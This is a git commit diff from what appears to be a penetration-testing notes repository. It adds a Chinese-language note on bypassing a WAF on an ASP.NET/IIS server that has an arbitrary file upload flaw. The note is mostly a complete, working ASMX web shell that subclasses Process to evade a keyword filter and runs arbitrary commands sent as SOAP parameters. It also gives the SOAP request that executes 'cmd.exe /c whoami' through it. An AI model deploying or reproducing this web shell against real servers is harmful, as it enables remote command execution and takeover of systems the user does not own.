reorganize: create iot/, web/, privesc/, pc/ dirs and move loose md files

Co-authored-by: Mr-xn <18260135+Mr-xn@users.noreply.github.com>
2026-05-09 22:37:49 +08:00 · 2026-03-06 13:16:28 +00:00
parent 4c23abe08e
commit 7f075b99f4
81 changed files with 74 additions and 74 deletions
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+### 以下信息来自倾旋知识星球，在此做整理  
+
+> 近日，在遇到一个WAF，目标服务器配置如下：  
+
+> 1.ASP.NET  
+> 2.IIS  
+> 3.Windows  
+> 4.X WAF  
+> 5.不允许上传 ASP、ASPX、ASA、CER、....  
+> 6.任意文件上传漏洞  
+> 于是想到还有ASMX，构建SOAP接口，分享给大家以便留存  
+> 另外，WAF还拦截“Process()”，于是在C#代码里，创建了一个子类继承Process父类，然后实例化：    
+
+![](img/process.png)  
+
+```
+public class New_Process :Process
+{
+    public New_Process(string s)
+    {
+            
+    }
+
+}
+
+Process e = new New_Process("something");
+```
+
+```
+POST /UploadPath/User/201908221824334713.asmx HTTP/1.1
+Host: example.com
+Content-Type: text/xml; charset=utf-8
+Content-Length: 363
+SOAPAction: "http://payloads.online/Test"
+
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+  <soap:Body>
+    <Test xmlns="http://payloads.online/">
+      <Z1>cmd.exe</Z1>
+      <Z2>/c whoami</Z2>
+    </Test>
+  </soap:Body>
+</soap:Envelope>
+```
+---------------------------------------------------
+
+![](img/ASMX.png)
+```
+<%@ WebService Language="C#" Class="Service" %>
+using System;
+using System.Web;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Data;
+using System.Data.SqlClient;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Web.SessionState;
+using System.Web.Services;
+using System.Xml;
+using System.Web.Services.Protocols;
+
+[WebService(Namespace = "http://payloads.online/")]
+[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
+
+public class New_Process :Process
+{
+    public New_Process(string s)
+    {
+            
+    }
+
+}
+
+
+public class Service : System.Web.Services.WebService
+{
+    public Service()
+    {
+
+    }
+
+    [WebMethod]
+    public string Test(string Z1,string Z2)
+    {
+        String R;
+
+        ProcessStartInfo c = new ProcessStartInfo(Z1,Z2);
+        Process e = new New_Process("something");
+        StreamReader OT, ER;
+        c.UseShellExecute = false;
+        c.RedirectStandardOutput = true;
+        c.RedirectStandardError = true;
+        e.StartInfo = c;
+        
+        e.Start();
+        OT = e.StandardOutput;
+        ER = e.StandardError;
+        e.Close();
+        R = OT.ReadToEnd() + ER.ReadToEnd();
+        HttpContext.Current.Response.Clear();
+        HttpContext.Current.Response.Write("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
+        HttpContext.Current.Response.Write("<data>");
+        HttpContext.Current.Response.Write("<![CDATA[");
+        HttpContext.Current.Response.Write("\x2D\x3E\x7C");
+        HttpContext.Current.Response.Write(R);
+        HttpContext.Current.Response.Write("\x7C\x3C\x2D");
+        HttpContext.Current.Response.Write("]]>");
+        HttpContext.Current.Response.Write("</data>");
+        HttpContext.Current.Response.End();
+        return R;
+    }
+}
+```
+